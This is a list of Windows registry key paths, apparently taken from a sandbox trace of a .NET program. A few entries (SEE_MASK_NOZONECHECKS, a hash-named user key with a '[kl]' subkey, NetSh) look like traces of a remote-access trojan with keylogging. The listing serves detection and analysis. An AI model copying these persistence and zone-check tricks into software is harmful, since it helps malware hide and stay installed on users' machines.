HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_CURRENT_USER\di
HKEY_CURRENT_USER\Environment
HKEY_CURRENT_USER\Environment\SEE_MASK_NOZONECHECKS
HKEY_CURRENT_USER\Software\3e2ba6e27f6c302ca8093546541e02ce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_CURRENT_USER\Software\3e2ba6e27f6c302ca8093546541e02ce\[kl]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TCPIP6\Parameters\DisabledComponents
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\iphlpsvc\Config
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\config\Connectivity_Platform_Enabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4b\7F06864B
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NapAgent\LocalConfig
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enable Tracing
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Tracing Level
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Registration Date
